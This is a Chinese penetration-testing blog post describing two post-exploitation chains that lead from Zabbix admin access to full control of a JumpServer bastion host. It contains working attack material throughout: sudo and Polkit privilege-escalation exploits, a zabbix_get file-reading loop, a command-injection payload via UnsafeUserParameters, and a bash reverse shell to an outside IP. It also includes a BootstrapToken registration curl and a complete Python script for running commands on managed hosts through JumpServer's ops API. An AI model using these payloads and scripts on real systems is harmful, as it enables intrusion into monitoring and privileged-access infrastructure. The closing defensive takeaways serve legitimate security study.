Zabbix与Jumpserver后渗透小记

渗透技巧 2年前 (2022) admin
1,286 0 0

Hi all,好久不见。

本文记录的是两位朋友在工作时遇到的真实场景,原本21年底答应友人A Roc木木 把文章发公众号的,一拖就是几个月。最近友人B kangkang 又遇到了一次相似的环境,索性把两位好友写的东西放到一起来整一篇文章。

TL;DR

围绕拿到zabbix web管理员权限之后的后渗透,通过读文件、执行命令等操作获取jumpserver的权限。

Roc木木の攻击记录

21年底的一次演习活动,本文只记录拿到zabbix权限到拿下内网堡垒机权限的过程。

0x01 获取zabbix权限

内网扫描,探测到一个自研的资产监控平台,平台使用Django框架开发,且开了debug模式。触发系统报错后,发现在报错的信息中泄露了zabbix服务器和账号密码。

Zabbix与Jumpserver后渗透小记

通过该zabbix账号密码,进入到zabbix的后台,且当前用户为管理员权限。

Zabbix与Jumpserver后渗透小记

对zabbix系统上监控的主机进行观察和分析,发现jumpserver服务器在zabbix监控主机范围中。

此时想到wfox关于zabbix权限利用的文章 http://noahblog.360.cn/zabbixgong-ji-mian-wa-jue-yu-li-yong/,初步猜想应当可以借助zabbix读取jumpserver服务器的文件。

0x02 获取zabbix server权限

老样子,首先添加zabbix脚本,在创建脚本的时候选择zabbix服务器,然后在监测 –> 最新数据下面筛选zabbix server,并下发脚本执行命令,成功获取zabbix服务器权限。

Zabbix与Jumpserver后渗透小记

在zabbix server上尝试利用zabbix_get命令读取文件,但是出现如下错误:

Zabbix与Jumpserver后渗透小记

通过查阅资料且重新检查了一下zabbix server的配置后发现,jumpserver是通过zabbix proxy进行数据上报,所以只能在接收jumpserver上报数据的zabbix proxy服务器上使用zabbix_get命令,此外还有一种方法是wfox文章中的第6点,通过添加监控项进行文件读取。实际渗透过程中没有注意到这一点,而是通过拿下了zabbix proxy服务器权限来实现的文件读取。

0x03 获取zabbix proxy服务器权限

在获取了zabbix server服务器权限后,由于不能直接使用zabbix_get命令进行读文件,于是尝试先对zabbix server服务器进行提权。

如图所示,服务器是centos,sudo版本为1.8.19p2,遂使用https://github.com/worawit/CVE-2021-3156项目进行提权。

Zabbix与Jumpserver后渗透小记

直接使用exploit_defaults_mailer.py这个脚本进行提权,但是这个脚本在获取sudo版本的时候有一些bug,需要手动修改一下第141行为当前sudo的版本:

 sudo_vers = [1819# get_sudo_version()

提权成功:

Zabbix与Jumpserver后渗透小记

提权成功后,对主机进行信息收集,发现了一个数据库账号密码(user01/password),且同时发现服务器上存在user01用户,于是尝试用(user01/password)进行横向的SSH爆破,很幸运,成功拿下了zabbix proxy服务器的权限。

Zabbix与Jumpserver后渗透小记

0x04 zabbix任意文件读取

zabbix proxy服务器上,成功利用zabbix_get读取到了jumpserver服务器文件。(此处图片为本地场景复现)

Zabbix与Jumpserver后渗透小记

于是开始思考如何利用zabbix任意文件读去获取jumpserver服务器权限,首先尝试读取jumpserver的配置文件,配置文件默认位置是:/opt/jumpserver/config/config.txt

Zabbix与Jumpserver后渗透小记

jumpserver未对目录进行权限限制,所以可以读取到jumpserver的配置文件信息,但是jumpserver默认是使用docker构建,且数据库和redis都没有映射出来,所以读取出来的redis和数据库账号密码没办法直接利用。

于是本地搭建jumpserver环境,首先了解了 /opt/jumpserver 目录下的目录结构,又根据之前jumpserver的日志文件泄露漏洞,想通过读取日志文件信息,进而获取jumpserver服务器权限,默认的日志文件路径为:/opt/jumpserver/core/logs/jumpserver.log

但是zabbix_get读取文件内容存在限制,仅能读取小于64KB大小的文件,

Zabbix与Jumpserver后渗透小记

翻了一下zabbix关于利用vfs.file.contents读文件的文档:https://www.zabbix.com/documentation/4.0/en/manual/config/items/itemtypes/zabbix_agent,发现除了vfs.file.contents外,还有一个vfs.file.regexp操作,大概的意思就是输出特定正则匹配的某一行,然后可以指定从开始和结束的行号。

Zabbix与Jumpserver后渗透小记

于是利用该方法写了一个简单的任意读文件的脚本(还不够完善),来突破文件读取的大小限制:

from __future__ import print_function
import subprocess

target = "192.168.21.166"
file = "/opt/jumpserver/core/logs/jumpserver.log"

for i in range(12000):
    cmd = 'vfs.file.regexp[{file},".*",,{start},{end},]'.format(file=file, start=i, end=i+1)
    p = subprocess.Popen(["zabbix_get""-s", target, "-k", cmd], stdout=subprocess.PIPE)
    result, error = p.communicate()
    print(result, end="")

成功读取任意位置的文件内容:

Zabbix与Jumpserver后渗透小记

通过读取配置文件,尝试使用https://paper.seebug.org/1502/文章中说的方法无果,且文章中利用到的如下两个未授权接口,从jumpserver 2.6.2版本开始也被修复。

/api/v1/authentication/connection-token/
/api/v1/users/connection-token/

于是尝试读取redis的dump文件,想通过redis获取缓存中的session,读了很久但是也没有读取到,不知道是缓存中没有session还是其他原因。

还尝试了通过读取数据库文件(/opt/jumpserver/mysql/data/jumpserver/)去获取配置信息,但是数据库文件权限不够,没办法读取。

0x05 jumpserver服务账号利用

回看读取到的jumpserver配置文件,发现了jumpserver的两个配置项SECRET_KEYBOOTSTRAP_TOKEN

Zabbix与Jumpserver后渗透小记

SECRET_KEY比较熟悉,是Django框架中的配置项,BOOTSTRAP_TOKEN这个比较眼生,对jumpserver源码进行分析,发现BOOTSTRAP_TOKEN是jumpserver中注册服务账号时用来认证的。

参考jumpserver的官方文档,https://docs.jumpserver.org/zh/master/dev/build,jumpserver的服务架构如下:

Zabbix与Jumpserver后渗透小记

jumpserver由多个服务组成,核心是core组件,还包括luna(JumpServer Web Terminal 前端)、lina(前端 UI)、koko(JumpServer 字符协议资产连接组件,支持 SSH, Telnet, MySQL, Kubernets, SFTP, SQL Server)、lion(JumpServer 图形协议资产连接组件,支持 RDP, VNC)组件,各个组件与core之间通过API进行调用。

各个组件与core之间的API调用是通过AccessKey进行认证鉴权,AccessKey是在服务启动时通过BOOTSTRAP_TOKEN向core模块注册服务账号来获取的,下面是koko模块注册的代码(https://github.com/jumpserver/koko/blob/00cee388993ee6e92889df24aa033d09ce132fc5/pkg/koko/koko.go)

调用MustLoadValidAccessKey方法返回AccessKey,

Zabbix与Jumpserver后渗透小记

从文件中获取,如果没有则调用MustRegisterTerminalAccount方法,这个文件的位置在:/opt/jumpserver/koko/data/keys/.access_key

Zabbix与Jumpserver后渗透小记

注册TerminalAccount的流程如下:

Zabbix与Jumpserver后渗透小记

实际注册服务账号的方法如下

Zabbix与Jumpserver后渗透小记

请求/api/v1/terminal/terminal-registrations/接口,并在Authorization头中带上BootstrapToken即可。

请求接口

curl http://192.168.21.166/api/v1/terminal/terminal-registrations/ -H "Authorization: BootstrapToken M0ZDNTRENTYtODA4OS1DRTA0" --data "name=test&comment=koko&type=koko"

会给你一个access key

Zabbix与Jumpserver后渗透小记

或者也可以直接通过读取/opt/jumpserver/koko/data/keys/.access_key文件来获取accesskey

有了access key后,就可以通过jumpserver的API进行利用,下面是通过jumpserver ops运维接口执行命令。

  1. 首先通过/api/v1/assets/assets/?offset=0&limit=15&display=1&draw=1 接口找到想要执行命令的主机
def get_assets_assets(jms_url, auth):
    url = jms_url + '/api/v1/assets/assets/?offset=0&limit=15&display=1&draw=1'
    gmt_form = '%a, %d %b %Y %H:%M:%S GMT'
    headers = {
        'Accept''application/json',
        'X-JMS-ORG''00000000-0000-0000-0000-000000000002',
        'Date': datetime.datetime.utcnow().strftime(gmt_form)
    }

    response = requests.get(url, auth=auth, headers=headers)
    print(response.text)

Zabbix与Jumpserver后渗透小记

这里需要记住主机的资产ID,和admin_user的内容。

  1. 然后利用api/v1/ops/command-executions接口对指定主机执行命令

代码如下,修改data中的主机和run_as内容为第一步找到的id和admin_user,command为需要执行的命令。

def get_ops_command_executions(jms_url, auth):
    url = jms_url + '/api/v1/ops/command-executions/'
    gmt_form = '%a, %d %b %Y %H:%M:%S GMT'
    headers = {
        'Accept''application/json',
        'X-JMS-ORG''00000000-0000-0000-0000-000000000002',
        'Date': datetime.datetime.utcnow().strftime(gmt_form)
    }

    data = {"hosts":["fdfafb91-7b0a-425a-b250-56599bfc761b"],"run_as":"973320fd-6f06-4f59-8758-8ee52b6f7283","command":"whoami"}

    response = requests.post(url, auth=auth, headers=headers, data=data)
    print(response.text)

Zabbix与Jumpserver后渗透小记

  1. 访问log_url,获取命令执行的结果。
def get_task_log(jms_url, auth):
    url = jms_url + '/api/v1/ops/celery/task/e70ce2ab-1831-46d0-a4d1-ecc968dce298/log/'
    gmt_form = '%a, %d %b %Y %H:%M:%S GMT'
    headers = {
        'Accept''application/json',
        'X-JMS-ORG''00000000-0000-0000-0000-000000000002',
        'Date': datetime.datetime.utcnow().strftime(gmt_form)
    }

    response = requests.get(url, auth=auth, headers=headers)
    print(response.text)

Zabbix与Jumpserver后渗透小记

完整的利用脚本如下:

# Python 示例
# pip install requests drf-httpsig
import requests, datetime, json
from httpsig.requests_auth import HTTPSignatureAuth

def get_auth(KeyID, SecretID):
    signature_headers = ['(request-target)''accept''date']
    auth = HTTPSignatureAuth(key_id=KeyID, secret=SecretID, algorithm='hmac-sha256', headers=signature_headers)
    return auth

def get_user_info(jms_url, auth):
    url = jms_url + '/api/v1/users/users/'
    gmt_form = '%a, %d %b %Y %H:%M:%S GMT'
    headers = {
        'Accept''application/json',
        'X-JMS-ORG''00000000-0000-0000-0000-000000000002',
        'Date': datetime.datetime.utcnow().strftime(gmt_form)
    }

    response = requests.get(url, auth=auth, headers=headers)
    print(response.text)

def post_ops_command_executions(jms_url, auth):
    url = jms_url + '/api/v1/ops/command-executions/'
    gmt_form = '%a, %d %b %Y %H:%M:%S GMT'
    headers = {
        'Accept''application/json',
        'X-JMS-ORG''00000000-0000-0000-0000-000000000002',
        'Date': datetime.datetime.utcnow().strftime(gmt_form)
    }

    data = {"hosts":["fdfafb91-7b0a-425a-b250-56599bfc761b"],"run_as":"973320fd-6f06-4f59-8758-8ee52b6f7283","command":"whoami"}

    response = requests.post(url, auth=auth, headers=headers, data=data)
    print(response.text)

def get_task_log(jms_url, auth):
    url = jms_url + '/api/v1/ops/celery/task/e70ce2ab-1831-46d0-a4d1-ecc968dce298/log/'
    gmt_form = '%a, %d %b %Y %H:%M:%S GMT'
    headers = {
        'Accept''application/json',
        'X-JMS-ORG''00000000-0000-0000-0000-000000000002',
        'Date': datetime.datetime.utcnow().strftime(gmt_form)
    }

    response = requests.get(url, auth=auth, headers=headers)
    print(response.text)


def get_assets_assets(jms_url, auth):
    url = jms_url + '/api/v1/assets/assets/?offset=0&limit=15&display=1&draw=1'
    gmt_form = '%a, %d %b %Y %H:%M:%S GMT'
    headers = {
        'Accept''application/json',
        'X-JMS-ORG''00000000-0000-0000-0000-000000000002',
        'Date': datetime.datetime.utcnow().strftime(gmt_form)
    }

    response = requests.get(url, auth=auth, headers=headers)
    print(response.text)


if __name__ == '__main__':
    jms_url = 'http://192.168.21.166'
    KeyID = '75ed41cf-c41d-4117-a892-da9c76698d26'
    SecretID = 'ce3cdec3-df9e-439a-8824-2cefe15ec95f'

    auth = get_auth(KeyID, SecretID)
    get_task_log(jms_url, auth)
    # get_assets_assets(jms_url, auth)

脚本可以批量执行命令,jumpserver自身也在被管理清单中,至此成功拿下jumpserver堡垒机。

Roc木木日站唯细不破,名言众多,今日分享比较应景的一则:

Zabbix与Jumpserver后渗透小记


kangkangの攻击记录

0x01 获取Zabbix后台权限

一次项目,对部分 ip 进行了全端口扫描,发现一个非常见端口的 apache 页面。

Zabbix与Jumpserver后渗透小记

目录扫描探测到了zabbix目录,找到管理后台。

Zabbix与Jumpserver后渗透小记

默认密码 admin:zabbix,成功登陆。

Zabbix与Jumpserver后渗透小记

0x02 获取zabbix服务器权限

在 Zabbix Web 上添加脚本,“执行在”选项可根据需求选择,“执行在 Zabbix 服务器” 不需要 开启 EnableRemoteCommands 参数,所以一般控制 Zabbix Web 后可通过该方式在 Zabbix Server 上执行命令拿到服务器权限。

Zabbix与Jumpserver后渗透小记

创建完脚本后,找到 server 主机进行执行脚本。选择类型是“执行在 Zabbix 服务器”, 无论选择哪台主机执行脚本,最终都是执行在 Zabbix Server 上。

Zabbix与Jumpserver后渗透小记

执行命令后收到反弹回来的 shell,默认是 zabbix 权限,权限较低。正好可以借机会试一下最近star比较多的综合提权工具 https://github.com/liamg/traitor,并没有测试成功。

单独试了一下 CVE-2021-4034 Linux Polkit 提权脚本,地址 https://github.com/berdav/CVE-2021-4034。在目标服务器上进行编译、执行,顺利提权。

提权完成后写了公钥,通过 ssh 登陆服务器。开始进行信息搜集,查 history、翻文件、看进程、看连接。没有发现太多有用信息,只找到了数据库配置文件,进程也大都是跟 agent 进行通信。

接下来想扩大战果,还有两个方向:

1、内网横向扫描

2、尝试在Agent上远程执行系统命令

目标当前属于 192.168 段,在history和last当中发现了 10 段地址,粗略检测192、172、10三个网段的存活之后没有新的发现,所以开始着手尝试攻击agent。

0x03 获取Zabbix Agent 服务器权限

(1)直接执行命令控制agent

众所周知想在agent上远程执行系统命令需要在 zabbix_agentd.conf 配置文件中开启 EnableRemoteCommands 参数 (默认关闭)。

如果在 zabbix_agentd.conf 中开启了 EnableRemoteCommands=1 参数,一样可以通过在 web 后台创建脚本的方法,选择在 agent 上执行。但是后台中所有的 agent 都没有开启这个参数。所以需要尝试别的办法。

(2)任意文件读取

通过在fox文章中学到的, Zabbix 的原生监控项中,vfs.file.contents 命令可以读取指定文件,但无法读取超过64KB 的文件。且 agent 默认以 zabbix 权限运行,无法读取 history 等敏感文件。

但是我们可以查看 agent 服务器配置,zabbix_get 可能不在环境变量中,可以通过 find命令进行寻找。

zabbix_get -s 172.19.0.5 -p 10050 -k "vfs.file.contents[/etc/zabbix/zabbix_agentd.conf]"

Zabbix与Jumpserver后渗透小记

通过读取zabbix agent端的配置文件,可以看到 EnableRemoteCommands 确实没有配置 ,但是可以看到配置中开启了fox文章中提到的另一个参数 UnsafeUserParameters=1

Zabbix与Jumpserver后渗透小记

当 Zabbiax Agent 的 zabbix_agentd.conf 配置文件开启 UnsafeUserParameters 参数的情况下,传参值字符不受限制,只需要找到存在传参的自定义参数UserParameter,就能实现命令注入。

Zabbix与Jumpserver后渗透小记

起初对漏洞原理不理解,没有搞清楚这里命令注入的意思,后来问过fox才整明白此处命令注入所注入的就是用户自定义的命令。选择一个函数如 chk.ssl_access[1, && id],成功执行命令。

zabbix_get -s 172.19.0.5 -p 10050 -k "chk.ssl_access[1, && id]"

Zabbix与Jumpserver后渗透小记

0x04 获取Jumpserver权限

为了确认该系统有哪些业务,选择了一台标签为 web 的机器,进行反弹 shell。

zabbix_get -s 172.19.19.19 -p 10050 -k "chk.ssl_access[1, &&bash -i >&/dev/tcp/1.1.1.1/443 0>&1]"

同样使用 CVE-2021-4034 进行提权,查看进程,是一个 java 起的网站, 然后用 nginx 做了访问控制。

Zabbix与Jumpserver后渗透小记

打web服务和数据库的过程此处略过。通过 last 命令查看服务器的登陆 ip,发现都是从一个 ip 进行登陆,扫了一下该 ip 的全端口,在一个比较偏的端口发现了jumpserver服务。

Zabbix与Jumpserver后渗透小记

恰巧这台也在 zabbix agent 里,重复之前操作,拿下这台 jumpserver 服务器。

通过自有脚本添加 jumpserver 超级管理员:

cd /opt/jumpserver/apps
python manage.py createsuperuser --username=user [email protected] 

成功进入

Zabbix与Jumpserver后渗透小记

课代表划重点

  1. Django的debug有时会闯大祸,同理其他debug也是,例如laravel等等。
  2. Agent通过zabbix proxy对server进行数据上报的话,只有在zabbix proxy服务器上才能agent使用zabbix_get命令读取文件。
  3. jumpserver的配置文件权限控制不严格,zabbix用户即可读。
  4. vfs.file.regexp 可以突破 vfs.file.contents 读取文件的大小限制。
  5. 通过配置文件中的BootstrapTokenaccesskey可以实现通过服务账户控制jumpserver内的主机。
  6. EnableRemoteCommands 参数未开启时可以关注 UnsafeUserParameters 参数,避免措施打agent的机会。
  7. jumpserver自带的脚本可以直接添加新用户进入系统。

注:Roc木木的文章距离当前有一段时间,当时还没有出现  Polkit 和 DirtyPipe 提权。

LAST

公众号荒废的这段时间里工作和生活都发生了很多的变化,不过没变的倒是自己一直以来疯狂欠学习的状态。有趣的事情倒是也遇到过一些、写过一些,有机会的话再发一发。

两年多的时间风云变幻,疾病、战争、行业风口更迭,感谢还在关注的大伙们,祝大家健康平安,诸事顺遂。


原文始发于微信公众号(王小明的事):Zabbix与Jumpserver后渗透小记

版权声明:admin 发表于 2022年3月23日 下午11:56。
转载请注明:Zabbix与Jumpserver后渗透小记 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...